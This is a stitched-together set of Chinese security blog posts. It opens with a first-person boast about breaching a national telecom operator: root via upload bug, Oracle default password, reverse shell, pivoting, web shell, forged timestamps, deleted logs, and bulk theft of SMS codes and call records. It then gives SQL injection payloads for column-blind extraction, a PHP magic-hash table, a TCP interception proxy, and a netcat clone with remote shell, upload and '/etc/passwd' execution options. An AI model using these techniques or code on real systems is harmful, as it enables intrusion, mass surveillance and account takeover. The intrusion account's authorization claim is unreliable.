如何通过一台电脑黑掉一个国家?

注释:此检测部分已经授权,其它部分存在争议,但非黑产行为,要买数据的勿扰。

前言

先举个例子,你在注册FreeBuf的时候,主要是填写邮箱账号来注册。继续往下想,中国的互联网公司为了规范实名制注册,大部分邮箱都会要求填写手机号码来进行实名验证,同时手机短信验证码也作为了比较靠谱的一道安全机制。再往下想,如果你能够控制中国的短信记录系统,理论上来说你在中国的互联网就是神一般的存在,想破解哪个账号就破解哪个账号。

我今天就完成了这个目标,我,控制了一个国家的电信系统,这次安全检测也是我人生中的一个里程碑。基本每天都能获取到上千万的电信数据,包括但不限于短信记录,通话记录,sim定位信息,手机话费详情等。整个入侵检测周期大约有7个月之久。

事先声明一下,这个电信系统不是中国的,而是靠近美国的一个国家。入侵完后看到数据库的一瞬间,我是被震惊了。全部服务器中包含了大量公司针对电信系统所开发的源代码,包括但不限于IBM,中兴,华为等等,在其短信记录的数据库中,我发现了Facebook,各个银行,Google等在该国的全部短信验证码,短信全部采用了base64位转码。换句话来说,我可以破解那个国家全部的Facebook账号,Google账号等。

最搞笑的是,在入侵的过程中,突然有个美国的IP地址出现在netstat里面,还把我的后门进程终止了!!!我那个时候还在内网服务器提权中!CNM的!井水不犯河水,杀我进程搞毛线!激烈斗争了半个月,终止了那个黑客的后门进程,修复了漏洞,才得以保住我在该服务器的绝对控制权,不过我现在还纳闷那个IP到底是不是NSA的。

外网服务器入侵

注释:因为漏洞影响太大,很多地方已经去敏,阅读体验有所下降,望谅解。

七个月前,我收到了一个域名地址,www开头的,除此之外再也没有其它信息。这家公司在当地是最大的一个电信运营商,全部的基站都被他们所垄断,其它电信公司也只能租用这家公司的基站运营。为了方便简述,下面以代号A来称呼这家公司。

第一次入侵失败

才开始我是很绝望的,就一个域名地址,其它什么都没有,只能先做简单的信息收集。才开始是查看www主域名,也就是A公司的官网主页查找漏洞,发现主页是以WP的框架建设的,扫了半天没发现什么漏洞,而且全部流量都经过了CDN,还配备的WAF等安全机制。

从主站入侵太过困难,但是在其主页上面发现了他们邮箱,就是一个@+主域名,nslookup扫描一下,发现未设置SPF记录,在尝试之后发现是可以利用这个缺陷去伪造一份官方邮件的,基本的入侵思路也想到了,采用钓鱼来进行入侵,具体步骤如下图。
1.png

理想很丰满,现实很骨感。在测试过程中发现A公司的邮件服务器采用了Spamhaus的黑名单列表,我全部服务器的IP段都在那个黑名单里面,邮件发送过去,对方也没办法接收到。
2.png

不过针对邮件钓鱼的方式还有很多,我也可以注册一个和A公司相似的域名(比如baidu.com和baidu.vip),然后用腾讯企业邮箱之类的发送过去,但是不想搞那么麻烦,我更想试试看其它可靠的方法。

第二次入侵失败

我随后扫描了该域名的全部二级域名,扫描结果共找到了5个二级域名地址,这5个二级域名都属于内部管理系统,都是一个登录页面。其中3个是没有验证码机制的,两个有验证码,采用后端验证。那么基本就有3个地址是可以尝试枚举攻击的。依托于我强大的字典,然后开始进行一一测试。测试了一天后发现,虽然那三个地址没有验证码机制,但是如果一个IP尝试过多的访问,那么会将该IP给拉入黑名单,同时,如果一个账号登录错误次数超过10此,这个账号将会被封锁。

第N次入侵成功

再后面大大小小的入侵也都尝试过了,但是都没有找到相关的突破口。万念俱灰之间,看了一下二级域名的扫描列表,突然发现了个有意思的情况。主站www域名和另外3个二级域名是经过CDN的,但是有1个二级域名都没经过CDN,直接是服务器真实IP地址。喝了杯咖啡冷静一会儿后,我就在想那么大一家电信企业,不可能只有四个内部管理系统,肯定有数十个不止。既然有1个二级域名已经暴露真实IP了,那么在其IP段是否有多个业务管理系统?

这个想法诞生后,直接NMAP扫描这个IP段,果不其然发现了数十个内部管理系统的登录界面,贴图给大家展示一下。
3.png
4.png

在其中一个系统中找到了一个上传漏洞,上传了一个后门,提升为root权限。
5.png

然后在这个服务器上发现了中兴和Facebook的相关源代码。
6.png

7.png

服务器是IBM架设的,采用Suse Linux。

8.png
还有很多细节就不一一展示了。

第一道内网入侵

第一台被入侵的服务器可以连接外网,但是里面的东西少的可怜,基本没啥太大价值的,就是一些源代码。经过长达两个月的分析,该服务器可以访问内网的服务器大于有200多台。内网扫描基本上也就是reGeorg开个socks代理,在linux上直接用proxychain做全局代理,windows上使用Proxifier做全局代理,然后直接nmap扫描了。其中一个内网IP地址开放了1521端口,那么没啥可以商量的了,尝试oracle默认账号和密码登录成功(system/manager),直接脱裤。下载下来发现是一个内部管理系统的数据库,数据量少的可怜,并无短信记录啥的。当时我就在想,会不会有二层内网,三层内网这么一种情况?

第二道内网入侵

既然有点子了,撸起袖子就开搞!Google了一下oracle 11G写shell的相关文章,然后写了个bash反弹shell,再运用MSF多层跳板技术对其内网反弹shell进行连接,然后控制其内网服务器。控制内网服务器后,帮它架设了一个Web环境,上传个jspspy大马,修改文件日期以防被管理员察觉,然后删除服务器日志记录。至此,那台内网服务器也被拿下,再对其扫描,果不其然又发现了一个超级大的数据库,也是oracle。

整个内网入侵的步骤有点复杂,之后我发现了这么一个内网入侵神器,现在都是用这个神器对内网入侵设备进行管理。

Termite:之前叫做EarthWorm,目前新版本叫做Termite,个人非常钟爱的内网管理工具,好像是个妹子写的,佩服佩服!

9.png

不打广告了,继续诉说细节。整理了手上现有的信息,花了2个月做分析,发现那个国家的电信系统布局情况,如下图所示。

10.png

在那个国家,不管你使用哪个电信运营商,最后的数据都会汇总到内网服务器中,由政府机构所掌控。现在我只访问到第二层内网服务器,是否有第三层内网暂时不得而知。花了一个月的时间,把第二层内网服务器中的其中一个数据库给扒下来了,数据大小约有700多个G,给你们一张图片感受一下。

11.png

Show Time

文字说的差不多了,该到装B环节了,请开始我的表演~

源代码

12.png

数据库

13.png
14.png
15.png

短信记录

16.png
17.png

各种内网系统

18.png
19.png

相关链接

oracle写shell:https://www.doyler.net/security-not-included/oracle-command-execution-sys-shell

MSF内网跳板详解:http://www.freebuf.com/sectool/56432.html

Termite官网:http://rootkiter.com/Termite/

总结

因为漏洞危害太大,很多地方都去敏了,让大家看到那么多马赛克十分抱歉。整个入侵还有很多步骤没细说,比如说几百G的数据文件,我是怎么拖下来的,rootkit植入,linux提权,我和那个美国黑客斗智斗勇的细节等等。

这篇文章主要表达了我对当前互联网安全机制的疑惑。假设说真的靠短信验证码作为最后一道安全措施,那么在其电信系统沦陷的情况下,整个互联网公司的安全体系将全部崩塌。举个例子现在我可以随便盗取那个国家任意一个Facebook账号,而且Facebook官方还纳闷漏洞在哪里。他当然纳闷了,漏洞不在他本身,而是整个安全体系就存在缺陷。我也可以盗取那个国家任意一个银行账户,银行发的短信验证码我全部都能收到。甚至玩的大一点,把那个国家全部的电信账号全部设置为欠费999999美元,再删除备份数据库,然后整个国家断网,想想就刺激。虽然现在找到了针对SMS短信记录,电话记录等等数据,但是我也只是入侵了整个内网系统的百分之五都不到。假如全部搞下来,我还可以监听任意网络流量等等,而我在那个国家的互联网上,就是神一般的存在。

我的主业目前是大数据垂直领域的研究,网络安全只能说是我的一个爱好。虽然以后的文章会越来越少,但是窃.格瓦拉精神在BUF永驻!
『PDF版下载』


基于子查询的SQL注入——免猜字段名

条件:已知表名,字段名未知,数据库本身支持子查询 对付access比较有用,也可以用来偷懒,比如从各种ctf的flag表里面读数据

思路:在子查询里面写针对目标表的联合查询:第一个查询以常量为每一个字段占位,同时指定别名;紧随其后的联合查询查询目标表所有字段(*);最后对这个子查询的结果集进行联合查询或盲注。

例如以下注入点:

select title,time,author,content from article where id={inject here}

字段为四,已知表名admin,admin字段未知 先猜测admin表字段总数,在子查询中加入order by,999999999 为不存在的id:

select title,time,author,content from article where id=999999999 union select 1,2,3,4 from(select * from admin order by 1)

假设获得字段总数为五,构造子查询的联合查询语句并指定别名:

select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5 from admin where 1=2 union select * from admin

最后对这个子查询结果集进行查询即可:

select title,time,author,content from article where id=999999999 union select 1,2,3,field_1&'|'&field_2&'|'&field_3&'|'&field_4&'|'&field_5 from(select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5 from admin where 1=2 union select * from admin)

盲注的时候可以这样(用于回显不同时):

select title,time,author,content from article where id=999999999 or (select top 1 len(field_1) from(select 1 as field_1,2,3,4,5 from admin where 1=2 union select * from admin))>0

也可以这样(用于因多次代入无论如何都报错时,或500/200的区别时):

select title,time,author,content from article where id=999999999 or iif((select top 1 len(field_1) from(select 1 as field_1,2,3,4,5 from admin where 1=2 union select * from admin))>0,1,(select 2 from multi_rows_table))=1

需要multi_rows_table记录数大于1 最后,部分数据库需要对子查询指定别名(access不用指定所以没写)。 解释一下,上述的查询都是针对access的payload,mysql语法可以写成如下

select title,time,author,content from article where id=999999999 union select 1,2,3,concat(field_1,0x23,field_2,0x23,field_3,0x23,field_4,0x23,field_5) from(select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5 from admin where 1=2 union select * from admin) as sb;

转载来自http://www.hazzel.cn/archives/3.html


php magic hashs

I do think php is the best language...
md2 32 505144726 0e015339760548602306096794382326
md4 32 48291204 0e266546927425668450445617970135
md5 32 240610708 0e462097431906509019562988736854
sha1 40 10932435112 0e07766915004133176347055865026311692244
sha224 56 – – –
sha256 64 – – –
sha384 96 – – –
sha512 128 – – –
ripemd128 32 315655854 0e251331818775808475952406672980
ripemd160 40 20583002034 00e1839085851394356611454660337505469745
ripemd256 64 – – –
ripemd320 80 – – –
whirlpool 128 – – –
tiger128,3 32 265022640 0e908730200858058999593322639865
tiger160,3 40 13181623570 00e4706040169225543861400227305532507173
tiger192,3 48 – – –
tiger128,4 32 479763000 00e05651056780370631793326323796
tiger160,4 40 62241955574 0e69173478833895223726165786906905141502
tiger192,4 48 – – –
snefru 64 – – –
snefru256 64 – – –
gost 64 – – –
adler32 8 FR 00e00099
crc32 8 2332 0e684322
crc32b 8 6586 0e817678
fnv132 8 2186 0e591528
fnv164 16 8338000 0e73845709713699
joaat 8 8409 0e074025
haval128,3 32 809793630 00e38549671092424173928143648452
haval160,3 40 18159983163 0e01697014920826425936632356870426876167
haval192,3 48 48892056947 0e4868841162506296635201967091461310754872302741
haval224,3 56 – – –
haval256,3 64 – – –
haval128,4 32 71437579 0e316321729023182394301371028665
haval160,4 40 12368878794 0e34042599806027333661050958199580964722
haval192,4 48 – – –
haval224,4 56 – – –
haval256,4 64 – – –
haval128,5 32 115528287 0e495317064156922585933029613272
haval160,5 40 33902688231 00e2521569708250889666329543741175098562
haval192,5 48 52888640556 0e9108479697641294204710754930487725109982883677


创建一个TCP代理

这是一个流量转发的工具,监听一个端口,等待连接,当有客户端连接进入的时候,接受数据,然后跟远端服务器建立连接,发送这些数据;然后反过来,接受远端服务器的数据,发送给客户端,如此反复。

#!/usr/bin/env python
#-- coding:utf-8 --
import sys
import socket
import threading

def hexdump(src, length=16):
result = []
digits = 4 if isinstance(src, unicode) else 2

for i in xrange(0, len(src), length):
    s = src[i:i+length]
    hexa = b' '.join(["%0*X" % (digits, ord(x)) for x in s])
    text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
    result.append(b"%04X %-*s %s" % (i, length*(digits + 1), hexa, text))
    
print b'\n'.join(result)

def receive_from(connection):

buffer = ""

#我们设置了两秒钟的超时,这取决与目标的情况,可能需要调整
connection.settimeout(2)

try:
    while True:
        data = connection.recv(4096)
        
        if not data:
            break
        buffer += data
except:
    pass

return buffer

#对目标是远程主机的请求进行修改
def request_handler(buffer):
#执行包修改
return buffer

#对目标是本地主机的请求进行修改
def response_handler(buffer):
#执行包修改
return buffer
def proxy_handler(client_socket, remote_host, remote_port, receive_first):

#连接远程主机
remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote_socket.connect((remote_host,remote_port))

#如果必要从远程主机接收数据
if receive_first:
    
    remote_buffer = receive_from(remote_socket)
    hexdump(remote_buffer)
    
    #发送给我们的响应处理
    remote_buffer = response_handler(remote_buffer)
    
    #如果我们有数据传递给本地客户端,发送它
    if len (remote_buffer):
        print "[<==] Sending %d bytes to localhost." % len(remote_buffer)
        client_socket.send(remote_buffer)
#现在我们从本地循环读取数据,发送给远程主机和本地主机
while True:
    
    #从本地读取数据
    local_buffer = receive_from(client_socket)
    
    
    if len(local_buffer):
        
        print "[==>] Received %d bytes from loclhost." %len(local_buffer)
        hexdump(local_buffer)
        
        #发送给我们的本地请求
        local_buffer = request_handler(local_buffer)
        
        #向远程主机发送数据
        remote_socket.send(local_buffer)
        print "[==>] Sent to remote."
        
    #接收响应的数据
    remote_buffer = receive_from(remote_socket)
    
    if len(remote_buffer):
        
        print "[<==] Received %d bytes from remote." % len(remote_buffer)
        hexdump(remote_buffer)
        
        #发送到响应处理函数
        remote_buffer = response_handler(remote_buffer)
        
        #将响应发送给本地socket
        client_socket.send(remote_buffer)
        
        print "[<==] Sent to localhost."
        
    #如果两边都没有数据,关闭连接
    if not len (local_buffer) or not len (remote_buffer):
        client_socket.close()
        remote_socket.close()
        print "[*] No more data. Closing connections."
        
        break

def server_loop(local_host,local_port,remote_host,remote_port,receive_first):

server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:
    server.bind((local_host,local_port))
except:
    print "[!!] Failed to listen on %s:%d" % (local_host,local_port)
    print "[!!] Check for other listening sockets or correct permissions."
    sys.exit(0)
    
print "[*] Listening on %s:%d" % (local_host,local_port)


server.listen(5)

while True:
    client_socket, addr = server.accept()
    
    #打印出本地连接信息
    print "[==>] Received incoming connection from %s:%d" % (addr[0],addr[1])
    
    #开启一个线程与远程主机通信
    proxy_thread = threading.Thread(target=proxy_handler, args=(client_socket,remote_host,remote_port,receive_first))
    
    proxy_thread.start()
    

def main():
#没有华丽的命令行解析
if len(sys.argv[1:]) != 5:
print "Usage: ./proxy.py [localhost][localport][remotehost][remoteport][receive_first]"
print "Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True"
sys.exit(0)

#设置本地监听参数
local_host = sys.argv[1]
local_port = int(sys.argv[2])

#设置远程目标
remote_host = sys.argv[3]
remote_port = int(sys.argv[4])

#告诉代理在发送给远程主机之前连接和接受数据
receive_first = sys.argv[5]

if "True" in receive_first:
    receive_first = True
else:
    receive_first = False
    
#现在设置好我们的监听socket
server_loop(local_host, local_port, remote_host, remote_port, receive_first)

main()

代码测试
root@kali$ python tcpProxy.py 127.0.0.1 21 ftp.target.ca 21 True

让我们通过代理FTP服务的流量进行测试,需要将代理指向真实的FTP服务器,这样才能获得实际的相应。


简单的netcat

Netcat简介:

Netcat是网络界的“瑞士军刀”——身材很小,用途很广

实现功能:侦听传输模式、telent(获取banner信息)、传输文本信息、传输文件(目录)、加密传输文件、远程控制(木马)、加密流量、流媒体服务器、远程克隆硬盘等...

参数介绍:
-n 不做域名解析,就是只能用IP地址
-p 接端口
-l 打开监听
-c 去连接
-v 显示详细信息
-q 后接时间,单位为s,意思后完成一个任务1秒后断开连接
-c 后接bash或者cmd
如果要被连接,就用监听一个端口,如果要连接,就去输入IP地址和端口,他可以配合多个工具在用管道重定向等实现很多功能。

学习本节需要了解 subprocess 库。subprocess提供了强大的进程创建接口,它可以提供给你多种与客户端程序交互的方法。
https://docs.python.org/2/library/subprocess.html
http://python.usyiyi.cn/translate/python_278/library/subprocess.html (中文版)

代码中一共有6个函数
def run_command(command) 函数:生成一个新的进程执行命令,用到了 subprocess模块
def client_sender(buffer) 函数: 工具运行在非监听模式下,执行的功能(循环的发送读取数据)
def server_loop() 函数:工具运行在监听模式下的主循环函数,每当有新的连接进来,创建新线程
def client_handler(client_socket): 函数:新线程要执行的代码都在这里了
def usage() 函数: 提示信息
def main() 函数:main 函数就是利用getopt 实现对参数的解析

具体思路
首先判断有没有数据需要收,如果有,那就收,写入文件
然后判断有没有命令要执行,如果有,那就执行,执行结果返回回去
最后判断是否有-c 选项,也就是 command,如果有,模仿 shell,接受数据,执行命令,返回结果

#!/usr/bin/env python
#-- coding:utf-8 --
import sys
import socket
import getopt
import threading
import subprocess

#定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

def client_handler(client_socket):
global upload
global execute
global command

#检测上传文件
if len(upload_destination):
    
    #读取所有的字符并写下目标
    file_buffer = ""
    
    #持续读取数据直到没有符合的数据
    
    while True:
        data = client_socket.recv(1024)
        
        if not data:
            break
        else:
            file_buffer += data
            
    try:
        file_descriptor = open(upload_destination,"wb")
        file_descriptor.write(file_buffer)
        file_descriptor.close()
        
        #确认文件已经写出来
        client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
    except:
        client_socket.send("Failed to save file to %s\r\n" % upload_destination)
        
#检查命令执行
if len(execute):
    
    #运行命令
    output = run_command(execute)
    client_socket.send(output)
    
#如果需要一个命令行shell,那么我们进入另一个循环
if command:
    
    while True:
        #跳出一个窗口
        client_socket.send("<BHP:#>")
        
        #现在我们接收文件知道发现换行符(enter key)
        cmd_buffer = ""
        while "\n" not in cmd_buffer:
            cmd_buffer += client_socket.recv(1024)
        
        #返回命令输出
        response = run_command(cmd_buffer)
        
        #返回响应数据
        client_socket.send(response)

def run_command(command):

#换行
command = command.rstrip()

#运行命令并将输出返回,处理错误
try:
    output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)
except:
    output = "Failed to execute command.\r\n"
    
#将输出发送
return output

#切断服务
def server_loop():
global target

#如果没有定义目标,那么我们监听所有接口
if not len(target):
    target = "0.0.0.0"
    
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target,port))

server.listen(5)

while True:
    client_socket, addr = server.accept()
    
    #分拆一个线程处理新的客户端
    client_thread = threading.Thread(target=client_handler, args=(client_socket,))
    client_thread.start()
    

def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#连接目标主机,如果有需要发送的数据,则进行发送
try:
    client.connect((target,port))
    
    if len(buffer):
        client.send(buffer)
    
    #如果一切正常,则发送数据等待回传    
    while True:
        #做一个登录监听
        recv_len = 1
        response = ""
        
        #直到没有数据继续,等待用户下一步输入
        while recv_len:
            
            data     = client.recv(4096)
            recv_len = len(data)
            response+= data
            
            if recv_len < 4096:
                break
            
        print response
        
        #等待更多的输入
        buffer = raw_input("")
        buffer += "\n"
        
        #发送出去
        client.send(buffer)
        
        
except:
    
    print " [*] Exception! Exiting."
    
#关闭连接
client.close()

#如果命令参数不符合标准,打印出工具帮助信息
def usage():
print "BHP Net Tool"
print
print "Usage: bhpnet.py -t target_host -p port"
print "-l --listen -listen on [host]:[port] for incoming connections"
print "-e --execute=file_to_run -execute the given file upon receiving a connection"
print "-c --command -initialize a command shell"
print "-u --upload=destination -upon receiving connection upload a file and write to [destination]"
print
print
print "Examples: "
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\target.exe"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e="cat /etc/passwd""
print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
sys.exit(0)

#主函数
def main():
#将变量定义为全局变量
global listen
global port
global execute
global command
global upload_destination
global target

if not len(sys.argv[1:]):
    usage()
    
#读取命令行选项
try:
    opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
    print str(err)
    usage()
    
for o,a in opts:
    if o in ("-h","--help"):
        usage()
    elif o in ("-l", "listen"):
        listen = True
    elif o in ("-e", "--execute"):
        execute = a
    elif o in ("-c", "--commandshell"):
        command = True
    elif o in ("-u", "--upload"):
        upload_destination = a
    elif o in ("-t", "--target"):
        target = a
    elif o in ("-p", "--port"):
        port = int(a)
    else:
        assert False,"Unhandled Option"
        
#选择进行监听还是仅从标准输入发送数据?
if not listen and len(target) and port > 0:
    
    #从命令行读取内存数据
    #这里将阻塞,所以不在向标准输入发送数据时发送CTRL-D
    buffer = sys.stdin.read()
    
    #发送数据
    client_sender(buffer)
    
    #我们开始监听并准备上传文件,执行命令
    #放置一个反弹shell
    #取决于上面的命令行选项
if listen:
    server_loop()

main()

现在让我们进行程序的测试,看看输出情况。在一个终端或者cmd.exe shell 中,运行我们的如下脚本:

justin$ python bhnet.py -l -p 9999 -c

现在,你可以启动另外一个终端或者cmd.exe,或者以客户端模式运行脚本。记住我们的脚本读取的是标准输入直到接收到EOF(文件末尾标志),按Ctrl+D组合键发送EOF指令:

justin$ python bhnet.py -t localhaost -p 9999
<CTRL-D>
<BHP:#> ls -la
<BHP:#> pwd
<BHP:#>

我们也可以直接利用客户端发送HTTP请求:
justin$ echo -ne "GET / HTTP/1.1\r\nHost:www.baidu.com\r\n\r\n" | python bhnet.py -t www.baidu.com -p 80